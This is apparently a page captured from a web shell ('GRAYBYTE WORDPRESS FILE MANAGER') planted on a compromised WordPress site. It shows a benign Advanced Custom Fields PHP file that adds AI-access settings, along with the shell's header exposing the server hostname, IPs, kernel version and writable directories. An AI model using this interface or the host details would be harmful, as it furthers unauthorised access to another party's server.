✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/advanced-custom-fields/src/AI//AI.php
<?php
/**
 * @package ACF
 * @author  WP Engine
 *
 * © 2026 Advanced Custom Fields (ACF®). All rights reserved.
 * "ACF" is a trademark of WP Engine.
 * Licensed under the GNU General Public License v2 or later.
 * https://www.gnu.org/licenses/gpl-2.0.html
 */

namespace ACF\AI;

use ACF\AI\Abilities\Abilities;
use ACF\AI\GEO\GEO;

/**
 * Initializes the ACF AI functionality if enabled.
 */
class AI {

	/**
	 * Constructs the AI class.
	 *
	 * @since 6.8.0
	 *
	 * @return void
	 */
	public function __construct() {
		add_action( 'acf/init', array( $this, 'initialize' ) );
	}

	/**
	 * Initializes the AI functionality.
	 *
	 * @since 6.8.0
	 *
	 * @return void
	 */
	public function initialize() {
		if ( $this->is_geo_enabled() ) {
			new GEO();
		}

		if ( $this->is_ai_enabled() ) {
			new Abilities();
			$this->add_admin_ui_hooks();
		}
	}

	/**
	 * Checks if AI functionality is enabled.
	 *
	 * @since 6.8.0
	 *
	 * @return boolean
	 */
	public function is_ai_enabled(): bool {
		return (bool) acf_get_setting( 'enable_acf_ai' );
	}

	/**
	 * Checks if GEO functionality is enabled.
	 *
	 * @since 6.8.0
	 *
	 * @return boolean
	 */
	public function is_geo_enabled(): bool {
		return (bool) acf_get_setting( 'enable_schema' );
	}

	/**
	 * Adds admin UI hooks.
	 *
	 * @since 6.8.0
	 *
	 * @return void
	 */
	public function add_admin_ui_hooks() {
		// Add ACF AI tab to field groups.
		add_filter( 'acf/field_group/additional_group_settings_tabs', array( $this, 'add_acf_ai_tab' ) );
		add_action( 'acf/field_group/render_group_settings_tab/acf-ai', array( $this, 'render_acf_ai_tab' ) );

		// Add ACF AI tab to post types.
		add_filter( 'acf/post_type/additional_settings_tabs', array( $this, 'add_acf_ai_tab' ) );
		add_action( 'acf/post_type/render_settings_tab/acf-ai', array( $this, 'render_acf_ai_tab' ) );

		// Add ACF AI tab to taxonomies.
		add_filter( 'acf/taxonomy/additional_settings_tabs', array( $this, 'add_acf_ai_tab' ) );
		add_action( 'acf/taxonomy/render_settings_tab/acf-ai', array( $this, 'render_acf_ai_tab' ) );
	}

	/**
	 * Registers the AI tab in various contexts.
	 *
	 * @since 6.8.0
	 *
	 * @param array $tabs The existing tabs array.
	 * @return array
	 */
	public function add_acf_ai_tab( array $tabs ): array {
		$tabs['acf-ai'] = __( 'ACF AI', 'acf' );
		return $tabs;
	}

	/**
	 * Renders the ACF AI tab in various contexts.
	 *
	 * @since 6.8.0
	 *
	 * @param array $item The field group, post type, taxonomy, etc. being edited.
	 * @return void
	 */
	public function render_acf_ai_tab( array $item ) {
		if ( empty( $item['key'] ) ) {
			return;
		}

		$item_type = acf_determine_internal_post_type( $item['key'] );
		if ( ! $item_type ) {
			return;
		}

		$item_type           = str_replace( '-', '_', $item_type );
		$post_id             = (int) acf_request_arg( 'post', 0 );
		$allow_ai_access_val = ! empty( $item['allow_ai_access'] ) ? 1 : 0;

		// If this is a new item, default to allowing AI access.
		if ( ! $post_id ) {
			$allow_ai_access_val = 1;
		}

		$allow_access_label   = __( 'Allow AI Access', 'acf' );
		$allow_access_desc    = __( 'Allow AI systems to access and modify this content through the WordPress Abilities API.', 'acf' );
		$ai_description_label = __( 'AI Description', 'acf' );
		$ai_description_desc  = __( 'Provide a description that will help AI systems understand the purpose and how to use this effectively.', 'acf' );

		if ( 'acf_post_type' === $item_type ) {
			$allow_access_label   = __( 'Allow AI Access to Post Content', 'acf' );
			$allow_access_desc    = __( 'When enabled, AI models can access and interact with the content of posts in this post type using supported integrations. This feature uses the WordPress Abilities API.', 'acf' );
			$ai_description_label = __( 'AI Guidance for Post Type', 'acf' );
			$ai_description_desc  = __( "Add a short explanation of what this post type is for. The clearer your description, the better the AI's output will be.", 'acf' );
		}

		if ( 'acf_taxonomy' === $item_type ) {
			$allow_access_label   = __( 'Allow AI Access to Taxonomy Terms', 'acf' );
			$allow_access_desc    = __( 'When enabled, AI models can access and interact with the terms in this taxonomy using supported integrations. This feature uses the WordPress Abilities API.', 'acf' );
			$ai_description_label = __( 'AI Guidance for Taxonomy', 'acf' );
			$ai_description_desc  = __( "Add a short explanation of what this taxonomy is for. The clearer your description, the better the AI's output will be.", 'acf' );
		}

		if ( 'acf_field_group' === $item_type ) {
			$allow_access_label   = __( 'Allow AI Access to Field Data', 'acf' );
			$allow_access_desc    = __( 'When enabled, AI models can access and interact with the fields in this group using supported integrations. This feature uses the WordPress Abilities API.', 'acf' );
			$ai_description_label = __( 'AI Context Description', 'acf' );
			$ai_description_desc  = __( "Add a short explanation of what this field group is for. The clearer your description, the better the AI's output will be.", 'acf' );
		}

		acf_render_field_wrap(
			array(
				'type'         => 'true_false',
				'name'         => 'allow_ai_access',
				'key'          => 'allow_ai_access',
				'prefix'       => $item_type,
				'value'        => $allow_ai_access_val,
				'label'        => $allow_access_label,
				'instructions' => $allow_access_desc,
				'ui'           => true,
				'default'      => 1,
			)
		);

		acf_render_field_wrap(
			array(
				'type'         => 'textarea',
				'name'         => 'ai_description',
				'key'          => 'ai_description',
				'prefix'       => $item_type,
				'value'        => $item['ai_description'] ?? '',
				'label'        => $ai_description_label,
				'instructions' => $ai_description_desc,
				'rows'         => 4,
				'conditions'   => array(
					array(
						'field'    => 'allow_ai_access',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'div',
			'field'
		);
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Jun 2026 10.24 AM
tdhomesa / tdhomesa
0755
Abilities
--
12 Jun 2026 10.24 AM
tdhomesa / tdhomesa
0755
GEO
--
12 Jun 2026 10.24 AM
tdhomesa / tdhomesa
0755
AI.php
5.856 KB
30 Mar 2026 8.48 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF